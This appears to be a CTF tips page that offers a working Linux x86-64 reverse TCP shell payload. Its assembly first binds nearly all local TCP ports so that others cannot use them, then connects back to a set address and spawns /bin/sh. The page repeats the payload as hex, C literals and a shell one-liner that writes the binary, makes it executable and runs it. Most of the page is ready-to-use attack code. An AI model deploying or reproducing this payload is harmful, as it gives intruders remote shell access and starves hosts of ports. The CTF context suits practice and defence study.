How to be a badass in Attack-Defense CTF

Linux Reverse TCP Shell and Exhausted TCP Ports

Table of Contents

Linux/x64

Assembly

      xor rcx, rcx
      push rcx
      mov cx, 0xffff
      push rcx
;// for(int i=0; i<0x10000; i++){ bind(socket(AF_INET, SOCK_STEAM, 6), &sockaddr, socklen); }
exhausted:
      ;// socket(AF_INET, SOCK_STEAM, 6);
      push 0x2
      pop rdi
      push 0x1
      pop rsi
      push 0x6
      pop rdx
      push 0x29
      pop rax
      syscall

      ;// bind(sockfd, sockaddr, 0x10);
      push rax
      pop rdi
      pop rcx
      push rcx
      shl rcx, 16
      mov cl, 2
      push rcx
      mov rsi, rsp
      push 0x10
      pop rdx
      push 0x31
      pop rax
      syscall
      pop rcx
      pop rcx
      dec rcx
      pop rbx
      test rax, rax
      jne bind_fail
      push rdi
      pop rbx
bind_fail:
      push rbx
      test rcx, rcx
      push rcx
      jne exhausted

      ;// connect(sockfd, &sockaddr, socklen)
      pop rax
      pop rdi
      push rax
      mov byte ptr [rsp], 0x2
      mov word ptr [rsp+2], 0x3713 ;// port 0x1337
      mov dword ptr [rsp+4], 0x0100007f ;// addr 127.0.0.1
      mov rsi, rsp
      push 0x10
      pop rdx
      push 0x2a
      pop rax
      syscall 
      push 0x3
      pop rsi

dupio:
      dec rsi
      push 0x21
      pop rax
      syscall
      jne dupio

shell:
      xor rdx, rdx
      movabs rbx,0x68732f6e69622f2f
      shr rbx, 0x8
      push rbx
      mov rdi, rsp
      push rdx
      push rdi
      mov rsi, rsp
      push 0x3b
      pop rax
      syscall

Other formats:

Format Value
Raw Hex 4831C95166B9FFFF516A025F6A015E6A065A6A29580F05505F595148C1E110B102514889E66A105A6A31580F05595948FFC95B4885C07502575B534885C95175C8585F50C604240266C74424021337C74424047F0000014889E66A105A6A2A580F056A035E48FFCE6A21580F0575F64831D248BB2F2F62696E2F736848C1EB08534889E752574889E66A3B580F05
String Literal \x48\x31\xC9\x51\x66\xB9\xFF\xFF\x51\x6A\x02\x5F\x6A\x01\x5E\x6A\x06\x5A\x6A\x29\x58\x0F\x05\x50\x5F\x59\x51\x48\xC1\xE1\x10\xB1\x02\x51\x48\x89\xE6\x6A\x10\x5A\x6A\x31\x58\x0F\x05\x59\x59\x48\xFF\xC9\x5B\x48\x85\xC0\x75\x02\x57\x5B\x53\x48\x85\xC9\x51\x75\xC8\x58\x5F\x50\xC6\x04\x24\x02\x66\xC7\x44\x24\x02\x13\x37\xC7\x44\x24\x04\x7F\x00\x00\x01\x48\x89\xE6\x6A\x10\x5A\x6A\x2A\x58\x0F\x05\x6A\x03\x5E\x48\xFF\xCE\x6A\x21\x58\x0F\x05\x75\xF6\x48\x31\xD2\x48\xBB\x2F\x2F\x62\x69\x6E\x2F\x73\x68\x48\xC1\xEB\x08\x53\x48\x89\xE7\x52\x57\x48\x89\xE6\x6A\x3B\x58\x0F\x05
Array Literal {0x48,0x31,0xC9,0x51,0x66,0xB9,0xFF,0xFF,0x51,0x6A,0x02,0x5F,0x6A,0x01,0x5E,0x6A,0x06,0x5A,0x6A,0x29,0x58,0x0F,0x05,0x50,0x5F,0x59,0x51,0x48,0xC1,0xE1,0x10,0xB1,0x02,0x51,0x48,0x89,0xE6,0x6A,0x10,0x5A,0x6A,0x31,0x58,0x0F,0x05,0x59,0x59,0x48,0xFF,0xC9,0x5B,0x48,0x85,0xC0,0x75,0x02,0x57,0x5B,0x53,0x48,0x85,0xC9,0x51,0x75,0xC8,0x58,0x5F,0x50,0xC6,0x04,0x24,0x02,0x66,0xC7,0x44,0x24,0x02,0x13,0x37,0xC7,0x44,0x24,0x04,0x7F,0x00,0x00,0x01,0x48,0x89,0xE6,0x6A,0x10,0x5A,0x6A,0x2A,0x58,0x0F,0x05,0x6A,0x03,0x5E,0x48,0xFF,0xCE,0x6A,0x21,0x58,0x0F,0x05,0x75,0xF6,0x48,0x31,0xD2,0x48,0xBB,0x2F,0x2F,0x62,0x69,0x6E,0x2F,0x73,0x68,0x48,0xC1,0xEB,0x08,0x53,0x48,0x89,0xE7,0x52,0x57,0x48,0x89,0xE6,0x6A,0x3B,0x58,0x0F,0x05}
Shell Script echo -en '\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x80\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x88\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x40\x00\x05\x00\x04\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x0e\x01\x00\x00\x00\x00\x00\x00\x0e\x01\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x31\xc9\x51\x66\xb9\xff\xff\x51\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x50\x5f\x59\x51\x48\xc1\xe1\x10\xb1\x02\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x59\x59\x48\xff\xc9\x5b\x48\x85\xc0\x75\x02\x57\x5b\x53\x48\x85\xc9\x51\x75\xc8\x58\x5f\x50\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x13\x37\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x6a\x3b\x58\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x01\x00\x80\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x04\x00\xf1\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x00\x00\x00\x00\x01\x00\x89\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x01\x00\xba\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2a\x00\x00\x00\x00\x00\x01\x00\xe5\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x00\x00\x01\x00\xef\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3b\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x10\x00\x01\x00\x0e\x01\x60\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x42\x00\x00\x00\x10\x00\x01\x00\x0e\x01\x60\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x49\x00\x00\x00\x10\x00\x01\x00\x10\x01\x60\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x62\x61\x64\x61\x73\x73\x2d\x6c\x69\x6e\x75\x78\x2d\x78\x36\x34\x2e\x61\x73\x6d\x00\x65\x78\x68\x61\x75\x73\x74\x65\x64\x00\x62\x69\x6e\x64\x5f\x66\x61\x69\x6c\x00\x64\x75\x70\x69\x6f\x00\x73\x68\x65\x6c\x6c\x00\x5f\x5f\x62\x73\x73\x5f\x73\x74\x61\x72\x74\x00\x5f\x65\x64\x61\x74\x61\x00\x5f\x65\x6e\x64\x00\x00\x2e\x73\x79\x6d\x74\x61\x62\x00\x2e\x73\x74\x72\x74\x61\x62\x00\x2e\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2e\x74\x65\x78\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x80\x00\x40\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x8e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x01\x00\x00\x00\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x07\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x02\x00\x00\x00\x00\x00\x00\x4e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x66\x02\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' > badass-linux-x64 && chmod +x badass-linux-x64 && ./badass-linux-x64

Linux/x86

Assembly

Coming soon...

Other formats:

Format Value
Raw Hex Coming soon…
String Literal Coming soon…
Shell Script Coming soon…

References

  1. Linux/x86-64 - Reverse TCP shell - 118 bytes by Russell Willis
  2. Linux/x86-64 - TCP bind shell - 150 bytes by Russell Willis

last updated on Dec 18, 20 by Tree